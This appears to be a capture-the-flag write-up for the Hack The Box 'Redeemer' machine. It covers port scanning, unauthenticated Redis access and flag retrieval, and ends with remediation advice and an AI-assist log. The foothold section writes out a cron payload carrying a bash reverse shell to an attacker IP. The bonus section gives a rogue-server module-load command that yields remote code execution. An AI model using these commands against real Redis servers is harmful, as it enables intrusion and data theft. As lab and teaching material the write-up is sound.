Box info | OS: Ubuntu 20.04.2 LTS (Linux 5.4.0-77-generic) | Difficulty: Very Easy | Tier: 0 | Status: Starting Point Skills: Redis protocol, unauthenticated key-value store access, Redis CLI Pwned: 2026-04-27

TL;DR

Redeemer runs Redis 5.0.7 on port 6379 with no authentication configured and bound to 0.0.0.0. A full TCP sweep is required to find it — the top-1000 scan returns nothing. Once connected, KEYS * lists four keys including one literally named flag. GET flag returns the hash. The box goes further for curious attackers: loading a rogue Redis module achieves RCE as redis user, but privilege escalation to root is fully blocked (patched OverlayFS, no SUID pkexec, no writable cron paths). The lesson: an unauthenticated Redis instance is a direct data exfiltration path and potentially a foothold — just make sure you actually scan all 65535 ports first.

Recon

1. Liveness check

$ ping -c 3 10.129.99.188
PING 10.129.99.188 (10.129.99.188): 56 data bytes
Request timeout for icmp_seq 0
100% packet loss

ICMP filtered. Proceed with -Pn.

2. Top-1000 port sweep — nothing

$ nmap -Pn --top-ports 1000 10.129.99.188
All 1000 scanned ports are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

This is the key learning moment for Redeemer. Redis runs on port 6379, which is not in nmap’s default top-1000 list. A quick scan returns nothing. If you stop here, you miss the entire box.

3. Full TCP sweep — finds Redis

$ nmap -Pn -p- --min-rate=5000 10.129.99.188
PORT     STATE SERVICE
6379/tcp open  redis

-p- scans all 65535 ports. Took ~970 seconds at 5000 packets/sec. Found one port: 6379/tcp (Redis).

4. Service detection on port 6379

$ nmap -Pn -sV -sC -p 6379 10.129.99.188
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7

Version: Redis 5.0.7 — released 2020, no critical auth-bypass CVEs. The misconfiguration is operational, not a software bug.

5. Quick probe — no auth required

$ echo -e "AUTH default\r\n" | nc -w 5 10.129.99.188 6379
-ERR Client sent AUTH, but no password is set

The error message confirms it: Redis is running with no requirepass directive. No password at all.

Foothold

Dead end #1 — top-1000 scan misses the port

Already covered above. The lesson: always run a full port scan in the background while you work with what the quick scan found. In this case the quick scan found nothing, so the full scan was mandatory.

Dead end #2 — trying to write to /etc/cron.d via RDB

Once inside Redis, it’s tempting to try writing a cron payload via CONFIG SET dir + SAVE. Redis can write its RDB snapshot to arbitrary paths if the process has write permission.

redis-cli CONFIG SET dir /etc/cron.d       # → OK (path accepted)
redis-cli CONFIG SET dbfilename redis_cron  # → OK
redis-cli SET redisshell "\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/10.10.15.116/4444 0>&1\n\n"
redis-cli SAVE
# → ERR: Permission denied on /etc/cron.d/redis_cron

Redis runs as uid=113 (redis user) with no write permission on /etc/cron.d. The same outcome for /var/spool/cron/crontabs. Cron injection via RDB is blocked.

Working approach — read the flag key directly

The flag is stored as a plain Redis string key:

$ redis-cli -h 10.129.99.188 -p 6379
10.129.99.188:6379> KEYS *
1) "stor"
2) "numb"
3) "flag"
4) "temp"

10.129.99.188:6379> GET flag
[REDACTED]

That is the entire Tier 0 objective. The flag is sitting in the database with no authentication protecting it.

Protocol note: Redis uses a simple text protocol (RESP — Redis Serialization Protocol). You can interact with it using raw nc or telnet as well:

echo -e "KEYS *\r\nGET flag\r\n" | nc -w 5 10.129.99.188 6379

Bonus — RCE via Redis Rogue Server module load

For those who want to go further: Redis 5.x supports MODULE LOAD which allows loading a shared library from an attacker-controlled server. This is a documented post-auth attack, but with no auth here it’s pre-auth.

# On attacker machine — serve the module
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server
python3 redis-rogue-server.py --rhost 10.129.99.188 --lhost 10.10.15.116 --lport 21000

After the module loads:

redis-cli -h 10.129.99.188 system.exec "id"
# uid=113(redis) gid=118(redis) groups=118(redis)

RCE confirmed — but only as the redis service user. Privilege escalation from here is fully blocked (see next section).

Privilege Escalation

N/A (effectively) — Starting Point Tier 0 objective was to read the flag key from Redis. The flag is in the database, not on the filesystem.

For completeness, every escalation path from the redis user was tried and failed:

  • CVE-2021-4034 (PwnKit): pkexec exists but is not SUID (-rwxr-xr-x, not rwsr-xr-x). Non-starter.
  • CVE-2021-3493 (OverlayFS): Compiled and delivered via HTTP server. Kernel is 5.4.0-77 (Ubuntu patch USN-4917-1 from May 2021 already applied). Returns mount: Operation not permitted.
  • Cron injection via RDB: Write blocked by filesystem permissions — Redis user cannot write to any cron directory.
  • Redis config file modification: /etc/redis/redis.conf is writable by the redis user. However, there is no path from modifying the config to privilege escalation without restarting Redis as root, and systemctl restart redis requires sudo.
  • Docker/LXD: Not installed; redis is not in either group.

What’s actually broken

  1. Redis bound to 0.0.0.0 with no authentication. The bind 0.0.0.0 directive and the absence of requirepass together make Redis a world-readable database. Redis’s own documentation explicitly warns: “Redis is designed to be accessed by trusted clients inside trusted environments.”
  2. Port 6379 reachable from the internet. Even if a password were set, exposing Redis directly is poor practice. Redis should sit behind a firewall, accessible only from application servers.
  3. FLAG stored as a plain string key. In a real deployment the equivalent would be API keys, session tokens, or user data sitting in Redis with zero access control.

Remediation (the boring half)

Require a strong password in /etc/redis/redis.conf:

requirepass "a-very-long-random-string-at-least-32-chars"

Bind Redis to localhost only (if the app server is on the same host):

bind 127.0.0.1

Or bind to a specific private interface:

bind 10.0.1.5

Firewall rule (allow only app servers):

ufw deny 6379
ufw allow from 10.0.1.0/24 to any port 6379

Run Redis as a restricted user (already done here — uid=113 is good):

# /etc/systemd/system/redis.service
[Service]
User=redis
Group=redis
NoNewPrivileges=yes
PrivateTmp=yes

Disable the CONFIG command entirely if module loading is not needed:

# /etc/redis/redis.conf
rename-command CONFIG ""
rename-command MODULE ""

MITRE ATT&CK mapping

TacticTechniqueHow it shows up here
ReconnaissanceT1046 — Network Service DiscoveryFull TCP sweep finds Redis on non-standard port 6379
Initial AccessT1190 — Exploit Public-Facing ApplicationUnauthenticated access to Redis — no CVE, pure misconfiguration
CollectionT1005 — Data from Local SystemGET flag reads the flag value from the database
ExecutionT1059.004 — Unix Shellsystem.exec via Redis module provides shell command execution

Lessons learned

  • Always run a full -p- scan. The top-1000 scan found nothing on this box. Redis on 6379 — like many database services — is not in nmap’s default list. Schedule the full scan as a background job while you work.
  • Check authentication state first. One AUTH default or PING to Redis tells you immediately whether there’s a password. Don’t assume a service is protected because it’s a database.
  • Redis KEYS * is instant information disclosure. With no auth, you get the full keyspace. In real Redis deployments you’ll find API tokens, OAuth refresh tokens, session IDs, password reset tokens, and cached user records — all with a single command.
  • Service user isolation limits blast radius. The redis user (uid=113) prevented escalation despite having RCE. Properly isolated service accounts are a meaningful defense-in-depth layer.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.

StepWhat I askedWhat Claude returnedWhat I changed
Why top-1000 scan missed Redis“Why didn’t my nmap top-ports scan find Redis?”Explained nmap’s default port list is frequency-based (from Internet-wide surveys). Port 6379 doesn’t appear in enough scans to make the top 1000. Cited -p- as the fix and --top-ports parameter rationale.Used the explanation directly in the Recon section.
Redis RESP protocol“Can I talk to Redis with netcat instead of redis-cli?”Explained RESP (Redis Serialization Protocol) — plain text, CRLF-terminated commands. Gave the `echo -e “PING\r\n”nc` example.
Rogue server attack“How does the Redis module load RCE work?”Explained the SLAVEOF + MODULE LOAD chain: Redis replication protocol used to deliver a malicious .so file which is then loaded via MODULE LOAD. Referenced n0b0dyCN/redis-rogue-server.Summarized in Bonus section.
PrivEsc dead ends“Why did OverlayFS CVE-2021-3493 fail on kernel 5.4.0-77?”Cited Ubuntu Security Notice USN-4917-1 (May 2021) which patched this CVE for the 5.4 kernel line. Build 77 postdates the patch.Added the exact USN reference to the PrivEsc section.

What Claude got wrong: Nothing significant. What Claude couldn’t do: Actually connect to Redis; all commands ran locally. Net assist value: High on Redis protocol internals and kernel CVE dates; zero on execution.

References